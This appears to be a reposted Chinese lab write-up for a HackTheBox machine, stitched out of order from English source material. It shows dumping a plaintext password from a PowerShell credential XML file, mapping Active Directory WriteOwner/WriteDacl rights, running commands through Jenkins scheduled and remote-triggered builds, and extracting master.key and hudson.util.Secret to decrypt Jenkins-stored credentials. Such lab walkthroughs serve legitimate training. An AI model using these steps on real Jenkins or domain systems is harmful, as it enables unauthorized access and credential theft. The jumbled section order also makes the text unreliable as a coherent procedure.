尽管事实上它显示克莱尔现在在群组中,但我必须注销并重新登录才能使其生效
.xml(PSCredential 对象)
在nico的桌面上,有一个文件cred.xml
:
C:\Users\nico\Desktop>type cred.xml <Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"> <Obj RefId="0"> <TN RefId="0"> <T>System.Management.Automation.PSCredential</T> <T>System.Object</T> </TN> <ToString>System.Management.Automation.PSCredential</ToString> <Props> <S N="UserName">HTB\Tom</S> <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d2 0f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692</SS> </Props> </Obj> </Objs>
PowerShell 有一个名为 PSCredential 的对象,它提供了一种存储用户名、密码和凭据的方法。还有两个函数Import-CliXml
和Export-CliXml
,用于将这些凭据保存到文件中以及从文件中恢复它们。该文件是 的输出Export-CliXml
。
我可以通过使用 加载文件Import-CliXml
,然后转储结果来从文件中获取明文密码:
C:\Users\nico\Desktop>powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *" UserName : Tom Password : 1ts-mag1c!!! SecurePassword : System.Security.SecureString Domain : HTB
.cvs文件
Before breaking out Bloodhound, it’s useful to understand the kind of data that we’re working with. Here’s an example row:
ObjectName | ObjectType | ObjectGuid | PrincipalName | PrincipalType | ActiveDirectoryRights | ACEType | AccessControlType | IsInherited |
---|---|---|---|---|---|---|---|---|
[email protected] | USER | [email protected] | USER | WriteOwner | AccessAllowed | False |
这一行表示对于 USER 对象 herman,nico 具有 WriteOwner 权限。adsecurity.org 上的这篇博客文章详细介绍了这些权利如何运作以及如何利用它们,但这使 nico 对 Herman 有很大的控制权。
我将把 csv 加载到 LibreOffice Calc 中,将数据设置到带有过滤器的表格中,然后冻结标题行。然后,要查看 Tom 拥有哪些对象的权限,我将对 Tom 进行过滤:
所以 Tom 对 claire 拥有 WriteOwner 权限:
如果我对 claire 执行相同的过滤器,我将看到 claire 对 Backup_Admins 组对象具有 WriteDacl 权限:
由于 Backup_Admins 听起来很有潜力,所以这将是我的计划。
Jenkins渗透提权
自己创建一个用户登入
点击右上角的创建用户的名字——》config,可以看到token
可以尝试访问/manage(https://www.toolsqa.com/jenkins/jenkins-user-management/) 但是没权限
又找到一篇文章,试试访问/script 也没权限
http://www.labofapenetrationtester.com/2014/06/hacking-jenkins-servers.html
这篇文章是别人试的提全in windows不过不适用于该台靶机
来到
创建一个freestyle
在选项里选择这个
写入cmd /c whoami 但是没反应
方法1(时间)
在选项中,选择构建触发器里面的build periodically
“定期构建”似乎很有希望。我将选中该框,它会提供一个空文本字段。Jenkins 使用类似于 cron 的调度系统。我将输入“* * * * *”,它警告我这将每分钟运行一次:
保存并在一分钟后刷新页面,历史记录中有一个构建:
点击后“控制台输出”显示作业已运行:
方法二:远程触发
运行不同的命令,每个命令之间等待一分钟有点累人。我将禁用预定的触发器。看看“构建触发器”的其他选项,“触发器远程构建(例如,从脚本)”似乎很有趣。检查它会扩展要求“身份验证令牌”:
我可以尝试仅添加一个字符串作为令牌(例如“TestToken”)并请求他们提供的端点,但它不起作用:
oxdf@hacky$ curl "http://object.htb:8080/job/0xdf's%20job/build?token=TestToken" <html><head><meta http-equiv='refresh' content='1;url=/login?from=%2Fjob%2F0xdf%27s%2520job%2Fbuild%3Ftoken%3DTestToken'/><script>window.location.replace('/login?from=%2Fjob%2F0xdf%27s%2520job%2Fbuild%3Ftoken%3DTestToken');</script></head><body style='background-color:white; color:white;'> Authentication required <!-- --> </body></html>
在枚举过程中,我发现可以在个人资料中创建 API 令牌。我将前往那里并单击“添加新令牌”:
我将为其命名0xdfToken
并单击“生成”:
我还将使用该作业更新批处理脚本,以便清楚地了解它触发的原因:
这篇文章展示了如何实际触发该作业。我需要使用表单的 url:
http://[username]:[token]@[host]/job/[job name]/build?token=[token name]
所以对我来说,那就是:
oxdf@hacky$ curl "http://0xdf:[email protected]:8080/job/0xdf's%20job/build?token=0xdfToken"
服务器没有响应,但作业触发,片刻之后控制台输出:
防火墙枚举
尝试让 PowerShell 使用Invoke-WebRequest
(或iwr
) 下载 PowerShell 脚本时不行
怀疑有防火墙
powershell -c Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
-
-Direction Outbound
- 限制出站规则,因为这就是我遇到问题的地方 -
-Action Block
- 限制阻止流量的规则 -
-Enabled True
- 不显示存在但未启用的大量规则
是没办法反弹shell了
寻找账号密码文件(解密工具)
枚举
powershell -c ls ....\users\ 进入admin后看到admin_17207690984073220035
powershell -c ls ....\users\admin_17207690984073220035
可以看到config.xml
type看内容,将内容复制到本地,查看发现有哈希值和加密密码
https://github.com/hoto/jenkins-credentials-decryptor
(Jenkins 将加密凭证存储在credentials.xml
文件或config.xml
. 要解密它们,您需要master.key
和hudson.util.Secret
文件。)
powershell -c ls ....\secrets
powershell -c cat ....\secrets\master.key
hudson.util.Secret
看起来像一个二进制文件:
使用 PowerShell 对它进行 base64编码:
powershell -c [convert]::ToBase64String((cat ....\secrets\hudson.util.Secret -Encoding byte))
将该字符串复制echo
到base64 -d
本地系统中以将其保存到文件中。
利用脚本解密
./jenkins-credentials-decryptor -m master.key -s hudson.util.Secret -c config.xml
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)